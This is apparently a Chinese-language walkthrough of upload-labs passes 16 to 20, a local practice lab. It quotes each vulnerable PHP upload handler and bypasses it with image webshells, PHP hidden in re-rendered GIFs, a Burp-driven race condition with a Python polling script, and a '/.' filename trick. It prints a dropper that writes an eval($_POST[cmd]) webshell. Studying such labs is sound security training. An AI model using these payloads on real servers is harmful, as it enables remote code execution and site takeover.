pass-16

观察源码,涉及到一个函数exif_imagetype(),也是用来检查文件是否为图片的函数。

这篇文章是关于这个函数的:https://blog.csdn.net/qq_14969259/article/details/81301545

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

function isImage($filename){
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

同样尝试一下14关的方法。

首先开启php_exif扩展,开启后才能在pass-16进行练习,我刚开始没有开启,16关就处于空白状态。记得重启一下phpstudy

IWkRde.png

上传14关使用过的php代码,上传成功并且显示出了路径。

IWk2ZD.png

下面就去文件包含页面进行验证php代码能否被执行

IWkcqO.png

php代码执行,绕过成功。

pass-17

观察源码,发现这一关进行了判断后缀名,content-type,以及利用imagecreatefromgif判断是否为gif图片,并且进行了二次渲染,二次渲染知识在源码后面。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
原文链接:https://blog.csdn.net/weixin_47598409/article/details/115050869

这一关我同样采用了gif这一种比较简单的方式,我首先上传了一个平常的图片马,但是在文件包含测试界面中php代码被莫名删除了,于是查阅了相关师傅的资料,发现插入php代码的地方需要特别注意。需要找到上传前后没有发生改变的地方,这里用到了010deitor,来查找上传前后不变的地方。

上传一个gif图片,在浏览器控制台查看路径,将该图片保存下来

IWk6sK.png

在010deitor中同时打开两个图片,观察不变的地方吗,可以发现有一段前后都没有改变的地方,那么这些地方就可以进行php代码的插入。

IWkyM6.png

IWkWIH.png

接下来进行php代码的插入,这里我用的是phpinfo(),当然别的代码也可以,我这里主要是因为简便。

IWk5RI.png

再将插入代码后的gif文件上传,在浏览器控制台查看路径

IWkhid.png

进入文件上传的界面,进行php代码的测试。

IWk4JA.png

可以看到php配置信息出现,phpinfo()代码执行,绕过成功。

IWkIzt.png

pass-18

首先当然是观察源码,这里我查看了一下提示,发现需要用到代码审计,由于我正在练习文件上传之前并没接触,故上网搜索了相关知识。

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

找到了条件竞争上传绕过这个知识。

服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。但是这一关没有文件包含漏洞,那么这个方法就不适合了,只能解析一个php木马。

条件竞争漏洞:条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。

我们这里就要利用这个漏洞短时间内发送大量php文件,使得程序出现漏传的现象,从而将木马文件传上服务器。

<?php
fputs (fopen("zxc.php","w"),'<?php eval($_POST[cmd]);?>')
?>

这段代码的意思是在同一目录下生成一个文件名为zxc.php文件,里面的代码就是后方的一句话木马。

同时这里用到一个脚本,来检查php代码是否被上传。url处是自己上传php的路径。这个脚本就是不断访问这个url,当php代码上传到服务器时,输出ok,那么我们就直到该文件上传成功了。

import requests
url = "http://127.0.0.1/upload/1.php"
while True:
    html =requests.get(url)
    if html.status_code == 200:
        print("ok")
        break
    else:
        print("no")

下面准备完毕,开始进行进攻。首先抓包,上传php文件,同时发送到攻击模块

IWkLdg.png

这里点击全部清除,因为我们需要一直发送这个数据包。

IWACLT.png

下面设置荷载,选择没有负载,下面选择无限循环

IWkjij.png

选项里面就正常就好,这里抓包就准备好了。

IWkvJs.png

下面再cmd里面来到脚本目录下,准备在cmd里运行脚本

IWkxWn.png

开始攻击,先运行burpsuite,再运行脚本。

IWkzzq.png

可以看到burpsuite开始攻击

IWAnQx.png

等到如下图所示,cmd中出现ok,说明php代码成功被上传到网站,现在我们使用蚁剑连接一下。

IWA9yV.png

在出现了ok后,说明成功上传了一个php文件,但是名字已经不是1.php了,我们上传的代码为

<?php
fputs (fopen("zxc.php","w"),'<?php eval($_POST[cmd]);?>')
?>

这段代码时将一个zxc.php文件插入进去,所以我们蚁剑应该连接zxc.php,尝试连接一下。

IWAieU.png

成功连接连接到木马,也能查看文件夹

IWAFwF.png

绕过成功。

pass-19

19关源码过长这里我就不在文章中粘贴了,大家可以在做的过程中去观察源码。同样是查看提示,发现提示我们需要代码审计。

这一关也是条件利用条件竞争的漏洞进行php代码的上传,不过这一关代码有些问题,需要修改一下,按照源代码的话,我们上传的文件不是保存在upload目录下的。

修改pass-19目录下的myupload.php,修改好后便可以进行我们的实验。

IWAEFJ.png

制作图片马,不过这个图片马需要用18关那个php代码来制作,这里我已经做好了,图片马的制作大家可以去看pass-14的文章或者百度,这里不再演示。

<?php
fputs (fopen("1.php","w"),'<?php eval($_POST[cmd]);?>')
?>

同样我们也需要一个python脚本来查询是否被上传。不过py需要变化一下

代码如下

IWAmS1.png

因为图片马需要用到文件包含漏洞,所以路径我们修改了一下,其他地方几乎不变。

我们直接上传图片马,抓包

IWAZWR.png

成功抓到数据包,将数据包发送到intruder模块进行爆破,爆破过程跟18关一样,记得线程大一点。

先开始攻击,后开始运行py脚本。可以看到已经开始不断进行攻击。注意查看运行的python脚本的输出。

IWApQ0.png

这里查看一下脚本运行情况,输出ok,这时一个1.php文件就被新建了。并且我们的一句话木马新建的php文件并不再upload文件夹下面,这个你只需要用文件目录扫描文件一扫就可以发现是在根目录下。

蚁剑进行连接,绕过成功。

pass-20

观察源代码,查看了一下提示,本pass的取文件名通过$_POST来获取,所以我们需要修改post模块。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

百度了一下move_uploaded_file函数,附上连接:https://www.w3school.com.cn/php/func_filesystem_move_uploaded_file.asp

百度的过程中,我还发现一个问题,该函数会忽略/.这一符号,假如我们改为php/. 该函数不会当作php文件进行处理。这就给了我们绕过的机会。这一关也就是一个绕过的关卡,没有啥好说的。代码也用的19关的,大家不要介意。

不对文件进行判断,只对用户输入的文件名做判断。

将php一句话代码改为png后缀,抓包,修改后缀。

IWkLdg.png

放包查看控制台,可以看到通过move_uploaded_file函数,我们上传的文件被重新保存到新的位置。不过这时php代码已经被保存了。

IWk7sf.png

下面地址栏输入该文件路径进行访问。

IWkHL8.png

成功绕过。